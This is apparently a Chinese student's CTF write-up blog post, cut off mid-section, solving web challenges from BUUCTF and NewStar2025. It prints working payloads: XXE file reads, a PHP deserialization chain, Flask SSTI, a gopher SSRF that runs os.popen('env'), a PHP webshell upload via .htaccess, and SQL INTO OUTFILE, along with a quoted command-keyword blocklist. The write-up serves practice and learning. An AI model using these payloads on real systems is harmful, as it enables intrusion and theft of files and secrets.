class=\"wp-block-paragraph\">\u5199\u5b8c\u4f20\u5230\u98de\u4e66\u4e4b\u540e\u624d\u53d1\u73b0\uff0c\u56fe\u7247\u90fd\u662f\u7528\u6211\u7684\u56fe\u5e8a\u4f20\u7684\uff0c\u4e91\u6587\u6863\u91cc\u9762\u770b\u4e0d\u89c1\uff0c\u54ed\u4e86\u3002\u6211\u628a\u5b83\u66f4\u65b0\u5230\u535a\u5ba2\u4e0a\u9762\u4e86\uff0c\u76f4\u63a5\u770b\u535a\u5ba2\u5427&#8211;&gt;https:\/\/shaneior.github.io\/2025\/11\/23\/UKY%E5%91%A8%E6%8A%A5\/<\/p>\n\n\n\n<h2 id=\"1-nctf2019-fake-xml-cookbook\" class=\"wp-block-heading\">1. [NCTF2019]Fake XML cookbook<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f00\u5c40\u4e00\u4e2a\u767b\u5f55\u9875\u9762\uff0csql\u6ce8\u5165\uff0cSSTI\u4e4b\u540e\u53d1\u73b0\u90fd\u4e0d\u662f\uff0c\u968f\u4fbf\u586b\u4e2a\u6570\u636e\u6293\u5305\u770b\u770b<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251129230616038.png\" alt=\"image-20251129230616038\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u53d1\u73b0\u662fxml\u89e3\u6790\uff0cXXE\uff08XML\u5916\u90e8\u5b9e\u4f53\u6ce8\u5165\uff09\u6f0f\u6d1e<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251129230655397.png\" alt=\"image-20251129230655397\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u901a\u8fc7<code>&lt;!ENTITY&gt;<\/code>\u58f0\u660e\u5f15\u7528\u6587\u4ef6\uff0cXML\u89e3\u6790\u5668\u4f1a\u52a0\u8f7d\u5e76\u66ff\u6362\u5b9e\u4f53\u5185\u5bb9\uff0c\u8fd9\u91cc\u5c06\u5176\u66ff\u6362\u4e3a\u53ef\u4ee5\u56de\u663e\u7684&amp;admin<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?xml version=\"1.0\" encoding=\"utf-8\"?&gt;\n&lt;!DOCTYPE note &#091;\n  &lt;!ENTITY admin SYSTEM \"file:\/\/\/flag\"&gt;\n  ]&gt;\n&lt;user&gt;&lt;username&gt;&amp;admin;&lt;\/username&gt;&lt;password&gt;123&lt;\/password&gt;&lt;\/user&gt;<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251129230828113.png\" alt=\"image-20251129230828113\" \/><\/figure>\n\n\n\n<h2 id=\"2-mrctf2020-ezpop\" class=\"wp-block-heading\">2.[MRCTF2020]Ezpop<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u76f4\u63a5\u7ed9\u6e90\u7801<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n\/\/flag is in flag.php\n\/\/WTF IS THIS?\n\/\/Learn From https:\/\/ctf.ieki.xyz\/library\/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95\n\/\/And Crack It!\nclass Modifier {\n    protected  $var;\n    public function append($value){\n        include($value);\n    }\n    public function __invoke(){\n        $this-&gt;append($this-&gt;var);\n    }\n}\n\nclass Show{\n    public $source;\n    public $str;\n    public function __construct($file='index.php'){\n        $this-&gt;source = $file;\n        echo 'Welcome to '.$this-&gt;source.\"&lt;br&gt;\";\n    }\n    public function __toString(){\n        return $this-&gt;str-&gt;source;\n    }\n\n    public function __wakeup(){\n        if(preg_match(\"\/gopher|http|file|ftp|https|dict|..\/i\", $this-&gt;source)) {\n            echo \"hacker\";\n            $this-&gt;source = \"index.php\";\n        }\n    }\n}\n\nclass Test{\n    public $p;\n    public function __construct(){\n        $this-&gt;p = array();\n    }\n\n    public function __get($key){\n        $function = $this-&gt;p;\n        return $function();\n    }\n}\n\nif(isset($_GET&#091;'pop'])){\n    @unserialize($_GET&#091;'pop']);\n}\nelse{\n    $a=new Show;\n    highlight_file(__FILE__);\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">flag.php\u5e94\u8be5\u5728web\u76ee\u5f55\u4e0b\u9762<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>class Modifier {\n    protected  $var;\n    public function append($value){\n        include($value);\n    }\n    public function __invoke(){\n        $this-&gt;append($this-&gt;var);\n    }\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">include\u51fd\u6570\u4e3a\u6211\u4eec\u63d0\u4f9b\u4e86\u4e2a\u63a5\u53e3\uff0c\u76f4\u63a5\u5305\u542bflag.php\u6587\u4ef6\u3002\u4e3a\u4e86\u5b9e\u73b0\u8be5\u65b9\u6cd5\u5fc5\u987b\u6709\u4e2a\u8c03\u7528\u51fd\u6570\u7684\u65b9\u5f0f\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>class Test{\n    public $p;\n    public function __construct(){\n        $this-&gt;p = array();\n    }\n\n    public function __get($key){\n        $function = $this-&gt;p;\n        return $function();\n    }\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u76f4\u63a5\u5f00\u59cbpayload\u4ee3\u7801<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nclass Modifier {\n    protected  $var=\"php:\/\/filter\/read=convert.base64-encode\/resource=flag.php\";\n\n}\n\nclass Test{\n    public $p;\n\n}\n\nclass Show{\n    public $source;\n    public $str;\n\n}\n\n$a = new Show();\n$a-&gt;source = new Show();\n$a-&gt;source-&gt;str = new Test();\n$a-&gt;source-&gt;str-&gt;p = new Modifier();\n\necho urlencode(serialize($a));\n\n?&gt;<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251129231515722.png\" alt=\"image-20251129231515722\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">base64\u89e3\u7801\u5f97\u5230FLAG<\/p>\n\n\n\n<h2 id=\"3-mrctf2020-pywebsite-ip-\u4fe1\u4efb\u6f0f\u6d1e\" class=\"wp-block-heading\">3.[MRCTF2020]PYWebsite \u3010IP \u4fe1\u4efb\u6f0f\u6d1e\u3011<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u5176\u5b9e\u5c31\u662f\u628ax-forward-for\u6539\u6210127.0.0.1\uff08\uff09<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251129232204747.png\" alt=\"image-20251129232203925\" \/><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;script&gt;\n\n    function enc(code){\n      hash = hex_md5(code);\n      return hash;\n    }\n    function validate(){\n      var code = document.getElementById(\"vcode\").value;\n      if (code != \"\"){\n        if(hex_md5(code) == \"0cd4da0223c0b280829dc3ea458d655c\"){\n          alert(\"\u60a8\u901a\u8fc7\u4e86\u9a8c\u8bc1\uff01\");\n          window.location = \".\/flag.php\"\n        }else{\n          alert(\"\u4f60\u7684\u6388\u6743\u7801\u4e0d\u6b63\u786e\uff01\");\n        }\n      }else{\n        alert(\"\u8bf7\u8f93\u5165\u6388\u6743\u7801\");\n      }\n\n    }\n\n  &lt;\/script&gt;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u76f4\u63a5\u8bbf\u95ee\uff0c\u610f\u6599\u4e4b\u4e2d\u4e0d\u884c<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251129232301573.png\" alt=\"image-20251129232301573\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u201c\u9664\u4e86\u8d2d\u4e70\u8005\u548c\u6211\u201d\u770b\u51fa\u6765\u5e94\u8be5\u662f\u8bf7\u6c42\u672c\u5730\u8bbf\u95ee\uff0c\u6539x-forward-for\uff1a127.0.0.1<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251129232407046.png\" alt=\"image-20251129232407046\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u6210\u529f<\/p>\n\n\n\n<h2 id=\"4-\u5b89\u6d35\u676f-2019-easy_web\" class=\"wp-block-heading\">4.[\u5b89\u6d35\u676f 2019]easy_web<\/h2>\n\n\n\n<h3 id=\"section-d41d8cd9\" class=\"wp-block-heading\"><img decoding=\"async\" src=\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251129232730810.png\" alt=\"image-20251129232730810\"><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u770b\u5230url\u91cc\u9762http:\/\/5cefc48c-a491-4714-9471-ff016b33d1ea.node5.buuoj.cn:81\/index.php?img=TmprMlJUWTBOalUzT0RKRk56QTJPRGN3&amp;cmd=<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6709img\u548ccmd\u53c2\u6570\uff0c\u8bd5\u8fc7\u4e4b\u540e\u53d1\u73b0img\u7684\u53c2\u6570\u662fbase64\u52a0\u5bc6\u4e24\u6b21\uff0c\u7136\u540ehex\u89e3\u5bc6\u4e00\u6b21<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u89e3\u51fa\u6765\u662f555.png\uff0c\u731c\u60f3\u8fd9\u91cc\u662f\u6253\u5f00\u8fd9\u4e2a\u6587\u4ef6\uff0c\u6539\u6210index.php\uff0cTmprMlJUWTBOalUzT0RKRk56QTJPRGN3<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nerror_reporting(E_ALL || ~ E_NOTICE);\nheader('content-type:text\/html;charset=utf-8');\n$cmd = $_GET&#091;'cmd'];\nif (!isset($_GET&#091;'img']) || !isset($_GET&#091;'cmd']))\n    header('Refresh:0;url=.\/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&amp;cmd=');\n$file = hex2bin(base64_decode(base64_decode($_GET&#091;'img'])));\n\n$file = preg_replace(\"\/&#091;^a-zA-Z0-9.]+\/\", \"\", $file);\nif (preg_match(\"\/flag\/i\", $file)) {\n    echo '&lt;img src =\".\/ctf3.jpeg\"&gt;';\n    die(\"xixi\uff5e no flag\");\n} else {\n    $txt = base64_encode(file_get_contents($file));\n    echo \"&lt;img src='data:image\/gif;base64,\" . $txt . \"'&gt;&lt;\/img&gt;\";\n    echo \"&lt;br&gt;\";\n}\necho $cmd;\necho \"&lt;br&gt;\";\nif (preg_match(\"\/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|'|\"|`|;|,|*|?|\\|\\\\|n|t|r|xA0|{|}|(|)|&amp;&#091;^d]|@|||\\$|&#091;|]|{|}|(|)|-|&lt;|&gt;\/i\", $cmd)) {\n    echo(\"forbid ~\");\n    echo \"&lt;br&gt;\";\n} else {\n    if ((string)$_POST&#091;'a'] !== (string)$_POST&#091;'b'] &amp;&amp; md5($_POST&#091;'a']) === md5($_POST&#091;'b'])) {\n        echo `$cmd`;\n    } else {\n        echo (\"md5 is funny ~\");\n    }\n\n?&gt;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">md5\u5f3a\u7ed5\u8fc7\u548c\u4e00\u4e9b\u8fc7\u6ee4<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5bf9\u4e8e\u8fd9\u91cc\u7684\u6b63\u5219<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6211\u4eec\u53d1\u73b0\u7981\u7528\u4e86tac nl more less head tail cat od \u7b49\u4e00\u4e9b\u53ef\u4ee5\u8bfb\u53d6\u6587\u4ef6\u5185\u5bb9\u7684\u5173\u952e\u5b57\uff0c\u6ce8\u610f\u770b\u540e\u9762\u7684||\\|\uff0c\u6211\u4eec\u90fd\u77e5\u9053\u5728php\u4e2d\u6b63\u5219\u8fc7\u6ee4\u53cd\u659c\u6760\u8981\u5199\u56db\u4e2a\u5b57\u7b26\uff0c\u56e0\u4e3a\u4f1a\u7ecf\u8fc7\u4e24\u6b21\u89e3\u6790\uff0c\u4e00\u6b21php\u89e3\u6790\u5668\u7684\u89e3\u6790\uff0c\u53e6\u4e00\u6b21\u662f\u6b63\u5219\u8868\u8fbe\u5f0f\u7684\u89e3\u6790\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\\\uff0c\u5148\u7ecf\u8fc7php\u7684\u89e3\u6790\u6210\uff0c\u518d\u7ecf\u8fc7\u6b63\u5219\u8868\u8fbe\u5f0f\u7684\u89e3\u6790\u6210\uff0c\u4f46\u662f\u524d\u9762\u53c8\u591a\u4e86\u4e00\u4e2a\uff0c\u7ecf\u8fc7php\u7684\u89e3\u6790\u6210\uff0c|\u8fd9\u4e2a\u5b57\u7b26\u5728\u6b63\u5219\u4e2d\u662f\u4fdd\u7559\u5b57\u7b26\uff0c\u6240\u4ee5\u53ef\u4ee5\u8f6c\u4e49\uff0c\u518d\u7ecf\u8fc7\u6b63\u5219\u7684\u89e3\u6790\u65f6\u4f1a\u4e0e\u540e\u9762\u7684|\u4e00\u8d77\u89e3\u6790\u6210|\uff0c\u95ee\u9898\u5c31\u51fa\u73b0\u5728\u8fd9\u4e00\u5757\uff0c\u6574\u4e2a\u6765\u770b\uff0c\u5148\u7ecf\u8fc7php\u7684\u89e3\u6790\u6210|||\uff0c\u518d\u7ecf\u8fc7\u6b63\u5219\u7684\u89e3\u6790\u6210|||\uff0c\u6240\u4ee5\u6700\u540e\u5339\u914d\u7684\u662f|\u800c\u4e0d\u662f\uff0c\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u7528\u53cd\u659c\u6760\u7ed5\u8fc7<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">cmd=dir \/ cmd=cat<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251129233214029.png\" alt=\"image-20251129233214029\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251129233225018.png\" alt=\"image-20251129233225018\" \/><\/figure>\n\n\n\n<h2 id=\"6-westernctf2018-shrine\" class=\"wp-block-heading\">6.[WesternCTF2018]shrine<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f00\u5c40\u7ed9\u6e90\u7801<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import flask\nimport os\n\napp = flask.Flask(__name__)\n\napp.config&#091;'FLAG'] = os.environ.pop('FLAG')\n\n@app.route('\/')\ndef index():\n    return open(__file__).read()\n\n@app.route('\/shrine\/')\ndef shrine(shrine):\n    def safe_jinja(s):\n        s = s.replace('(', '').replace(')', '')\n        blacklist = &#091;'config', 'self']\n        return ''.join(&#091;'{{% set {}=None%}}'.format(c) for c in blacklist]) + s\n    return flask.render_template_string(safe_jinja(shrine))\n\nif __name__ == '__main__':\n    app.run(debug=True)<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u9898\u76ee\u7ed9\u51fa\u4e86Flask\u7684\u6e90\u7801\uff0c\u5176\u4e2d\u6709\u4e00\u6761<code>FLAG<\/code>\u7684config\uff0c<br>\u6e90\u7801\u4e2d\u6709\u4e24\u4e2a\u8def\u7531\uff0c\u5176\u4e2d\u8fd8\u6709<code>\/shrine\/<\/code>\u8def\u5f84\uff0c\u7b80\u5355\u6d4b\u8bd5\u540e\u5b58\u5728\u6a21\u7248\u6ce8\u5165\uff1a<code>\/shrine\/{{2+2}}<\/code><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251129233403858.png\" alt=\"image-20251129233403858\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u82e5\u4e0d\u5b58\u5728\u9ed1\u540d\u5355\uff0c\u53ef\u4ee5\u4f7f\u7528{{self.<strong>dict<\/strong>}}\u8bfb\u53d6\uff0c<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Python\u7684\u6c99\u7bb1\u9003\u9038\u53ef\u4ee5\u5229\u7528Python\u5bf9\u8c61\u4e4b\u95f4\u7684\u5f15\u7528\u5173\u7cfb\u6765\u8c03\u7528\u88ab\u7981\u7528\u7684\u51fd\u6570\u5bf9\u8c61\uff0c\u5176\u4e2d\u6709\u4e24\u4e2a\u51fd\u6570\u5305\u542b\u4e86current_app<br>\u5168\u5c40\u53d8\u91cf\uff0c\u4e5f\u5c31\u662f\uff1aurl_for()\u548cget_flashed_messages()<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/shrine\/{{url_for.__globals__&#091;'current_app'].config}}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251129233503256.png\" alt=\"image-20251129233503256\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251129233515563.png\" alt=\"image-20251129233515563\" \/><\/figure>\n\n\n\n<h2 id=\"7-newstar2025-week3-\u5c0fe\u7684\u79d8\u5bc6\u8ba1\u5212\" class=\"wp-block-heading\">7.NewStar2025-week3 \u5c0fE\u7684\u79d8\u5bc6\u8ba1\u5212<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u63d0\u793a\u5907\u4efd\u6587\u4ef6\uff0c\u76f4\u63a5\u626b\u51fa\u6765www.zip<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251130215911889.png\" alt=\"image-20251130215911889\" \/><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nrequire_once 'user.php';\n$userData = getUserData();\nif ($_SERVER&#091;'REQUEST_METHOD'] === 'POST') {\n    $username = $_POST&#091;'username'] ?? '';\n    $password = $_POST&#091;'password'] ?? '';\n\n    if ($username === $userData&#091;'username'] &amp;&amp; $password === $userData&#091;'password']) {\n        header('Location: \/secret-xxxxxxxxxxxxxxxxxxx');\n        exit();\n    } else {\n        echo '\u767b\u5f55\u5931\u8d25,\u5728git\u91cc\u627e\u627e\u5427';\n        exit();\n    }\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u63d0\u793a\u5728git\u91cc\u9762<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251130221418486.png\" alt=\"image-20251130221418486\" \/><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>git reflog show --all        <\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u8bb0\u5f55\u6240\u6709\u5f15\u7528\u7684\u79fb\u52a8\u5386\u53f2\uff0c\u5373\u8bb0\u5f55\u6240\u6709\u64cd\u4f5c<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251130221516574.png\" alt=\"image-20251130221516574\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">353b98\u5206\u652f\u88ab\u5220\u4e86\uff0c\u76f4\u63a5\u770b<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251130221555765.png\" alt=\"image-20251130221555765\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u8bfb\u5230\u5bc6\u7801\u76f4\u63a5\u767b<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251130221633013.png\" alt=\"image-20251130221633013\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">mac\u7684.DS_Store\u6cc4\u9732\uff0c\u627e\u5230flag\u6587\u4ef6\u540d\uff0c\u76f4\u63a5\u8bfbflag<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251130221725962.png\" alt=\"image-20251130221725962\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u6210\u529f<\/p>\n\n\n\n<h2 id=\"8-newstar2025-week3-mirror_gate\" class=\"wp-block-heading\">8.NewStar2025-week3 mirror_gate<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u7b2c\u4e00\u6b21\u89c1\u5230\u76f4\u63a5\u53ef\u4ee5\u770b\u5230.htaccess\u7684\u6587\u4ef6\u4e0a\u4f20\uff0c\u7279\u6b64\u8bb0\u5f55\u4e00\u4e0b<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u626b\u76ee\u5f55\u626b\u51fa\u6765.htaccess<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251130222002361.png\" alt=\"image-20251130222002361\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251130222017476.png\" alt=\"image-20251130222017476\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">webp\u5f53php\u6267\u884c\uff0c\u7136\u540e\u5c31\u5f88\u5e38\u89c4\u4e86\uff0c\u77ed\u6807\u7b7e\u7ed5\u8fc7<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?=show_source('\/flag.php');?&gt;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u76f4\u63a5\u62ff\u5230flag<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251130222138660.png\" alt=\"image-20251130222138660\" \/><\/figure>\n\n\n\n<h2 id=\"9-newstar2025-week4-ssti-\u5728\u54ea\u91cc\" class=\"wp-block-heading\">9.NewStar2025-week4 SSTI \u5728\u54ea\u91cc\uff1f<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u5b58\u5728 ssrf.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">file:\/\/\/etc\/passwd\u8bfb\u5230\u662f flask \u670d\u52a1<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">file:\/\/\/app\/app.py\u8bfb\u6e90\u7801<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from flask import Flask, request, render_template_string\nimport os\n\napp = Flask(__name__)\n\n@app.route('\/', methods=&#091;'GET','POST'])\ndef index():\n    template = request.form.get('template', 'Hello World!')\n    return render_template_string(template)\n\nif __name__ == '__main__':\n    app.run(host='127.0.0.1', port=5001)<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5c06 name \u63a5\u53d7\u7684\u4e1c\u897f\u7ed9\u5230\u4e86 template\uff0c\u611f\u89c9\u6709 SSTI<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7528 gopher \u534f\u8bae\u6253\uff0c\u5148\u8ba4\u8bc6\u4e00\u4e0bgopher \u534f\u8bae<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>gopher\u534f\u8bae\n    \u6982\u5ff5\uff1a\n    \u2003\u20031.gopher\u534f\u8bae\u662f\u4e00\u79cd\u4fe1\u606f\u67e5\u627e\u7cfb\u7edf\uff0c\u5b83\u5c06internet\u4e0a\u7684\u6587\u4ef6\u7ec4\u7ec7\u6210\u67d0\u79cd\u7d22\u5f15\uff0c\u65b9\u4fbf\u7528\u6237\u4eceinternet\u7684\u4e00\u5904\u5e26\u5230\u53e6\u4e00\u5904\u3002\u4f46\u5728www\u51fa\u73b0\u540e\uff0cgopher\u5c31\u5931\u53bb\u4e86\u6614\u65e5\u7684\u8f89\u714c\u3002\n    \u2003\u20032.\u73b0\u5728\u5b83\u5df2\u8fc7\u65f6\u3002\u5b83\u53ea\u652f\u6301\u6587\u672c\uff0c\u4e0d\u652f\u6301\u56fe\u50cf\u3002\n    \u2003\u20033.gopher\u534f\u8bae\u53ef\u4ee5\u505a\u5f88\u591a\u4e8b\u60c5\uff0c\u7279\u522b\u662f\u5728ssrf\u4e2d\u53ef\u4ee5\u53d1\u6325\u5f88\u591a\u91cd\u8981\u7684\u4f5c\u7528\uff0c\u5229\u7528\u6b64\u534f\u8bae\u53ef\u4ee5\u653b\u51fb\u5185\u7f51\u7684FTP\uff0cTelnnet\uff0cRedis,Memcache,\u4e5f\u53ef\u8fdb\u884cGET,POST\u8bf7\u6c42\n    \u2003\u20034.\u53ef\u4ee5\u901a\u8fc7gopher\u534f\u8bae\u5c06get\u8bf7\u6c42\u4f2a\u88c5\u6210post\u8bf7\u6c42\uff0c\u4ed6\u662fSSRF\u5229\u7528\u4e2d\u4e00\u4e2a\u6700\u5f3a\u5927\u7684\u534f\u8bae\uff08\u4fd7\u79f0\u4e07\u80fd\u534f\u8bae\uff09\uff0c\u53ef\u7528\u4e8e\u53cd\u5f39shell\n    \u8bed\u6cd5\uff1agopher:\/\/127.0.0.1:80\/_{TCP\/IP\u6570\u636e\u6d41}\n    \u6ce8\u610f\uff1a\n    \u2003\u20031.\u8fd9\u91cc\u7684_\u4e0d\u80fd\u7701\u7565\n    \u2003\u20032.\u8fd9\u91cc\u7684\u7aef\u53e3\u9ed8\u8ba4\u662f70\uff0c\u4f46\u8981\u5177\u4f53\u60c5\u51b5\u5177\u4f53\u800c\u5b9a\uff0chttp\u5c31\u662f80\uff0chttps\u5c31\u662f443\n    \u2003\u20033.\u5982\u679c\u53d1\u8d77post\u8bf7\u6c42\uff0c\u56de\u8f66\u6362\u884c\u7b26\u5c31\u5fc5\u987b\u8981\u4f7f\u7528%0D%0A,\u544a\u8bc9\u8ba1\u7b97\u673a\u4f60\u5df2\u7ecf\u6267\u884c\u5b8c\u4e86\u3002\u5982\u679c\u591a\u4e2a\u53c2\u6570\uff0c\u53c2\u6570\u4e4b\u95f4\u7684&amp;\u4e5f\u9700\u8981\u8fdb\u884cURL\u7f16\u7801\n    \u9700\u8981\u7684\u6761\u4ef6\uff1a\u5728\u6784\u9020\u7684\u65f6\u5019\uff0c\u53ea\u9700\u8981\u4fdd\u7559\u8fd9\u51e0\u6837\u5fc5\u8981\u7684\u4e1c\u897f\u5c31\u884c\n    \u2003\u2003gopher : \/\/127.0.0.1:80\/_POST \/flag.php HTTP\/1.1\n    \u2003\u2003Host : challenge-0cd16c73a7cf875a.sandbox.ctfhub.com:10800\n    \u2003\u2003Content-Type : application\/x-www-form-urlencoded\n    \u2003\u2003Content-Length : 36<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Flag \u5728\u73af\u5883\u53d8\u91cf<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>url=gopher:\/\/127.0.0.1:5000\/_GET%2520%252F%2520HTTP%252F1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250AContent-Length%253A%252056%250A%250Aname%253D%257B%257Blipsum.__globals__%255B'os'%255D%255B'popen'%255D('env').read()%257D%257D<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251130223209913.png\" alt=\"image-20251130223209913\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u6210\u529f<\/p>\n\n\n\n<h2 id=\"10-newstar2025-week4-sqlupload\" class=\"wp-block-heading\">10.NewStar2025-week4 sqlupload<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f88\u65b0\u7684\u77e5\u8bc6\u70b9\uff0c\u5728\u7279\u5b9a\u7684\u4f4d\u7f6e\u6ce8\u5165\u4f60\u7684\u6076\u610f\u4ee3\u7801\uff0c\u7136\u540e\u60f3\u529e\u6cd5\u5c06\u5176\u4fdd\u5b58\u5728\u53ef\u88ab\u6267\u884c\u7684\u4f4d\u7f6e<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>?order=upload_time INTO OUTFILE '\/var\/www\/html\/1.php'<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u95ee\u9898\u5728 getFileList.php<\/p>\n\n\n\n<figure 